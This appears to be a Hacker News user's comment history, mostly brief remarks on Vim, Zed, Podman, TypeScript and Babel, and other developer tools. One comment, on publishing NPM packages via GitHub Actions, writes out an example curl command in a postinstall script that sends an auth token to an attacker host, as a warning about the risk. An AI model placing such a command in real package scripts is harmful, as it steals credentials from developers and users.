HNHacker News
TopNewBestAskShowJobs

esamatti

227 karma · joined November 2, 2012

http://twitter.com/esamatti
submissionscomments
esamatti··on The Zed Debugger Is Here
To me it has been the best "vim" that is not a real Vim. Way way better than the vscode plugin. I have used Vim and later Neovim since 2008 or so. Zed is the first non-vim I am truly happy with.
esamatti··on Neovide – A simple, no-nonsense, cross-platform GUI for Neovim
I've actually found the animations helpful even thought was initially skeptical: Because it visualises the vim motions it makes it much clearer what is happening. Especially if you make a mistake you'll see it much more clearly what it actually did. Also when making longer cursor jumps it is easier to see where it went.

I'm sure they will help a lot also when learning Vim for the first time.

But the be fair, the default animations are bit much but they can be toned down.

esamatti··on Tsdocs.dev: Type docs for any JavaScript library
This is awesome! Thanks for sharing.
esamatti··on Show HN: Servicer, pm2 alternative built on Rust and systemd
TIL, Pretty cool!

But I suppose there isn't away to run these transient services as boot because they are definition gone after they have stopped?

esamatti··on Reasons to Drop Docker for Podman
Anyone using Podman on a macOS? How's the experience compared to Docker Desktop?
esamatti··on Turbopack, the successor to Webpack
They say they plan to support Vue and Svelte via plugins so I guess it is a thing or will be.

"In future versions, we'll be supporting Vue and Svelte via plugins."

https://turbo.build/pack/docs/features/frameworks#vue-and-sv...

esamatti··on Show HN: Tombl – Easily query .toml files from bash
Also checkout yj[1] which can convert between various formats among toml->json

[1]: https://github.com/sclevine/yj

esamatti··on Fetch API has landed into Node.js
Does this contain `request.formData()` and `FormData`?

https://developer.mozilla.org/en-US/docs/Web/API/Request/for... https://developer.mozilla.org/en-US/docs/Web/API/FormData

esamatti··on Jspaint.exe – JS Paint as a cross-platform native desktop app
Graderjs seems to be pretty nice idea. If you are already using Chrome, Graderjs apps weight around the same as a Chrome tab compared to Electron where each app will get its own Chromium instance.
esamatti··on Podman: A tool for managing OCI containers and pods
Seems like it

-------

Podman is a tool for running Linux containers. You can do this from a MacOS desktop as long as you have access to a linux box either running inside of a VM on the host, or available via the network. Podman includes a command, podman machine that automatically manages VM’s.

To start the Podman-managed VM:

podman machine init podman machine start

-------

from: https://podman.io/getting-started/installation

esamatti··on Have I Been Facebooked?
Hash the phone number in the browser before sending it to your server. That way it is at least possible to verify via devtools what is being send.

Heck. Allow even prehashed phone number to be entered.

esamatti··on Bash_unit – bash unit testing framework
"sh" for python is actually pretty cool

https://amoffat.github.io/sh/

Available as `python3-sh` in Ubuntu.

esamatti··on No support Linux hosting shutting down from hack
Interesting business model

----------

Experts Host Sites Here for $1/month

Do you like paying extra so other people can ask amateur questions? That's how it is at other hosting companies where beginners and experts pay the same price. Beginners drive up the cost by asking a lot of novice support questions while the experts don't contact support. That is great for amateurs, and unfair to the experts like you.

No Support Linux Hosting has a completely different business model. We ignore the support questions, and pass the savings on to you! If you are an expert who does not want to pay extra for help with amateur support issues, then you can host with us and save big money.

Experts like you can sign up now for free. We charge $1/month per website, and there is no limit to the number of websites you can host in your account. This is the best deal in the web hosting industry, as long as you are the type of person who can find his or her own answers.

-----------

From https://web.archive.org/web/20201109042643/https://www.nosup...

I guess they took savings from security too.

esamatti··on Show HN: A SQL database implemented purely in TypeScript type annotations
Other uses for the template literal types:

JSON parser https://twitter.com/buildsghost/status/1301976526603206657

This one is more realistic: Typed route params https://twitter.com/danvdk/status/1301707026507198464

esamatti··on Modern C
Since learning Rust I wanted to learn some C to be better able to consume pure C libs or embed Rust into C apps.

Along Modern C I found these modern(ish) C books:

- C Programming: A Modern Approach, 2nd Edition by King

- 21st Century C by Ben Kelemens

- Learn C the Hard Way by Zed Shaw

Can anyone recommend some of these for my background?

Besides Rust I've mostly used Webdev languages JS (mostly TypeScript these days), Python, Ruby, PHP, some Java back in the day.

esamatti··on Rawdrawandroid: Build Android apps in C
I wonder if the same method could be used to write Android Apps only with Rust?
esamatti··on Show HN: ESQLate – Build minimum viable admin panels with just SQL
This looks great! I've used sqlpad[1] for similar purposes which is bit more low level as it allows to write the queries in the browser directly.

[1]: https://github.com/rickbergfalk/sqlpad

esamatti··on Publish NPM Package with GitHub Actions
I think attacker could still do this in a post install script:

curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret

esamatti··on Podman and Buildah for Docker Users
> If you are a Docker user, you understand that there is a daemon process that must be run to service all of your Docker commands. I can’t claim to understand the motivation behind this but I imagine it seemed like a great idea, at the time, to do all the cool things that Docker does in one place and also provide a useful API to that process for future evolution.

I guess that would be for the Windows and macOS support as it should make things easier implement in a cross platform way when you can just proxy the cli commands to a daemon running in a Linux VM even when you are on Windows or macOS?

esamatti··on Show HN: Simple way to share state using React Hooks and Context
That only uses local state. With constate you can access the state from anywhere without prop drilling.
esamatti··on Yarn's Future – v2 and beyond
I think Babel does excatly that if only enable the typescript-preset.
esamatti··on Flow and TypeScript
I think this is just an editor concern. It could show a list of files with type errors.

But you could just run "tsc --noEmit --watch" which will just report the project wide type errors to the console as you edit files.

esamatti··on Flow and TypeScript
Thanks. Here's the documentation about the enum issue https://github.com/babel/babel/tree/master/packages/babel-pl...

I hope that in future Typescript would take the same approach as Flow and just focus on being a good type checker on top JS.

esamatti··on Flow and TypeScript
> I suspect that the new babel-preset-typescript can't quite do _just_ type-stripping can it? Since some features in TypeScript have runtime implications, those would still have to be transformed as opposed to simply stripped, correct?

I'm quite new to Typescript myself so I really don't know. At least I'm not aware of such features and don't think this Babel feature would make much sense if there were any?

EDIT: I think some of the runtime features are just TS doing ES6 to ES5 compiling. Such as "for of" loops, generators etc., but since those are just ES6 syntax they can be handled by other Babel plugins/presets or even by modern browsers directly.

esamatti··on Flow and TypeScript
Faster and simpler builds setups. And you don't really lose it as your editor will report the type errors. Flow is used like this all the time.

Tried this on a project of mine. Enums seem to work fine for me.

EDIT: There are some issues with enums indeed https://github.com/babel/babel/tree/master/packages/babel-pl...

esamatti··on Flow and TypeScript
This is possible with Typescript too with Babel 7. See my comment here https://news.ycombinator.com/item?id=15236089
esamatti··on Flow and TypeScript
It's worth noting that with upcoming Babel 7 it is possible to strip Typescript types like with Flow and use it just as a typechecker/linter [1]. This means following things:

- You don't need ts-loader/at-loader with Webpack anymore. You'll lose typechecking during webpack build but you can run it as separate step. Your editor will show them as usual still.

- You can use all the Babel plugins with Typescript without running two compilers (should speed things up)

- Should add first class support for React Native as it uses Babel (or at least no more 2-step builds)

[1]: http://babeljs.io/blog/2017/09/12/planning-for-7.0#typescrip...

EDIT: For the curious here's my build configuration with Webpack demoing this with extra plugins https://gist.github.com/epeli/bb8ae386f9dbb2a4ae2159e1f265fd...

esamatti··on TC39, ECMAScript, and the Future of JavaScript
It's at Stage 1 https://github.com/tc39/proposal-optional-chaining

and babel plugin is coming here https://github.com/babel/babel/pull/5813

esamatti··on Show HN: Jsbundler – Bundle npm packages and use them in the browser
https://npmcdn.com/ seems similar
esamatti··on Simple web server using bash and nc
Remember the full web framework on Bash? Bash on Balls!

https://github.com/jneen/balls

I just love the name :)

Discussion https://news.ycombinator.com/item?id=2781019

Page 1 of 2Next →